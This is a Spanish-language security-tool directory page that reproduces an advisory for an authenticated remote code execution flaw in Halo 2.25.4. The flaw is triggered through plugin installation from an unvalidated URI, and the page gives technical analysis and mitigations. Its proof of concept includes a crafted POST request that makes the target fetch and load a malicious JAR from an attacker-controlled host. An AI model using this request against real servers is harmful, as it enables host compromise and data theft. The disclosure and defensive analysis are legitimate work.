Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
halo-2.25.4-CVE-2026-67919 — Demuestra una vulnerabilidad de ejecución remota de código autenticada en Halo 2.25.4 mediante la instalación de URI de complementos no validados, incluyendo análisis técnico y exploit de prueba de concepto. | Kitploit
Herramientas/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Demuestra una vulnerabilidad de ejecución remota de código autenticada en Halo 2.25.4 mediante la instalación de URI de complementos no validados, incluyendo análisis técnico y exploit de prueba de concepto.

Ver Repositorio
hace 17 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ejecución Remota de Código (RCE) Autenticada mediante Instalación de Plugins con URI no Validado en Halo 2.25.4

1. Resumen de la Vulnerabilidad

Se ha identificado una vulnerabilidad de seguridad crítica en la versión 2.25.4 de Halo. La aplicación proporciona un endpoint administrativo para instalar o actualizar plugins desde una URI remota. Sin embargo, el sistema no valida el dominio de origen de la URI y carece de protecciones contra Server-Side Request Forgery (SSRF) en este componente específico. Un atacante autenticado con privilegios de gestión de plugins puede proporcionar un enlace a un archivo JAR de plugin manipulado maliciosamente. El servidor descargará, almacenará temporalmente y cargará dinámicamente el archivo JAR en el contexto de la JVM utilizando el framework PF4J y el DefaultPluginApplicationContextFactory de Spring. Esto permite la ejecución de clases de extensión no confiables, resultando en Ejecución Remota de Código (RCE) arbitraria en el sistema operativo subyacente del host.

2. Detalles de la Vulnerabilidad

  • Tipo de Vulnerabilidad: Inyección de Código / Ejecución Remota de Código (RCE)
  • ID CWE: CWE-94: Control Inadecuado de la Generación de Código ('Inyección de Código') / CWE-434: Carga sin Restricciones de Archivos con Tipo Peligroso
  • Severidad: 🔴 Crítica
  • Puntuación CVSS v3.1 Estimada: 9.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • Versión Afectada: Halo 2.25.4 (y potencialmente versiones anteriores que admitan instalación de plugins basada en URI)
  • ID CVE: CVE-2026-67919
  • 3. Componentes Afectados

    Separe con comas al enviar al formulario CVE:

    Plaintext

    root@kitploit:~
    PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
    

    4. Vector de Ataque

    Un administrador autenticado puede enviar una solicitud HTTP POST manipulada que contenga una URL maliciosa de un plugin JAR remoto al endpoint /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.

    5. Análisis Técnico y Cadena de Ataque

    La ejecución remota de código ocurre mediante la siguiente secuencia de operaciones:

    1. Ingesta del Endpoint: El método PluginEndpoint.installFromUri() procesa el cuerpo de la solicitud entrante (InstallFromUriRequest) y extrae la cadena uri proporcionada por el usuario. No se aplica ningún filtro de lista blanca de dominios.
    2. Recuperación de Archivos sin Protección: La URI extraída se pasa a DefaultReactiveUrlDataBufferFetcher.fetch(uri). A diferencia de otros componentes de red internos en Halo, este fetcher no invoca HttpSecurityUtils.secureHttpClient(), omitiendo las restricciones de IP de red privada/loopback (protección SSRF).
    3. Persistencia Local de Archivos: El contenido transmitido descargado desde la URI remota se escribe en un directorio temporal local en el servidor host mediante writeToTempFile(content).
    4. Carga Dinámica de Clases: La aplicación pasa la ruta temporal a pluginService.install(path), que utiliza el JarPluginLoader de PF4J para desempaquetar y cargar el archivo JAR.
    5. Registro y Ejecución de Beans de Spring: Una vez que PF4J termina de cargar el contexto, el DefaultPluginApplicationContextFactory de Spring analiza automáticamente los metadatos dentro del plugin.yaml del plugin y registra todas las clases de extensión declaradas en el contexto de la aplicación como Beans Activos de Spring.
    6. Disparador de Ejecución de Código: Cualquier código malicioso colocado dentro de los bloques de inicialización estática de la clase de extensión (static {}) o bloques de métodos anotados con @PostConstruct se ejecutará inmediatamente durante la creación de la instancia mediante Runtime.getRuntime().exec().

    Segmento de Código Fuente Vulnerable (PluginEndpoint.java líneas 422-428):

    Java

    root@kitploit:~
    var content = request.bodyToMono(InstallFromUriRequest.class)
        .map(InstallFromUriRequest::uri)
        .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // Búsqueda de red no validada
    return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
    

    6. Prueba de Concepto (PoC)

    Paso 1: Alojar el Artefacto Malicioso

    El atacante compila un archivo JAR de plugin estándar PF4J/Halo (poc-plugin.jar) que contiene una clase de extensión con un mecanismo de ejecución de payload dentro de un hook de ciclo de vida @PostConstruct o un bloque estático. El atacante lo aloja en un listener externo:

    Bash

    root@kitploit:~
    python3 -m http.server 9999
    

    Paso 2: Disparar la Vulnerabilidad

    El usuario administrativo autenticado envía la siguiente solicitud HTTP al servidor Halo objetivo:

    HTTP

    root@kitploit:~
    POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
    Host: <target-ip>:8090
    Authorization: Bearer <ADMIN_TOKEN_HERE>
    Content-Type: application/json
    
    {
      "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
    }
    

    Paso 3: Resultado Esperado

    El servidor procesa la instalación, obtiene el artefacto del servidor del atacante, registra la extensión y ejecuta el comando del sistema compilado, comprometiendo el host objetivo.

    image
    image

    7. Impacto

    • Compromiso del Sistema: Acceso completo a la infraestructura de alojamiento o al contenedor Docker bajo los privilegios del proceso de la aplicación.
    • Robo de Datos: Exposición directa de bases de datos backend, credenciales sensibles de la aplicación, claves de configuración (application.yaml) y archivos almacenados.
    • Movimiento Lateral: El servidor puede ser utilizado como pivote para atacar redes internas del sitio, ya que el mecanismo de descarga puede acceder a endpoints de loopback o infraestructura interna omitiendo las reglas de egreso estándar.

    8. Recomendaciones de Mitigación

    1. Aplicar Listas Blancas de Dominios Absolutas: Aplique reglas de validación estrictas en el argumento uri entrante. Restrinja los esquemas de instalación remota a mercados oficiales verificados y confiables del ecosistema (por ejemplo, https://awesome.halo.run).
    2. Integrar Fetchers Seguros: Refactorice DefaultReactiveUrlDataBufferFetcher para utilizar la utilidad existente HttpSecurityUtils.secureHttpClient() y descartar solicitudes que apunten a loopback (127.0.0.1), link-local (169.254.169.254) o redes de clase privada (10.0.0.0/8, 192.168.0.0/16).
    3. Verificación Criptográfica de Plugins: Implemente un estándar de verificación de firmas digitales para módulos JAR externos. El contexto JarPluginLoader debe validar los hashes de archivos o firmas criptográficas contra claves públicas proporcionadas por el repositorio oficial antes de pasarlos al DefaultPluginApplicationContextFactory para la instanciación del contexto.
    Descargar herramienta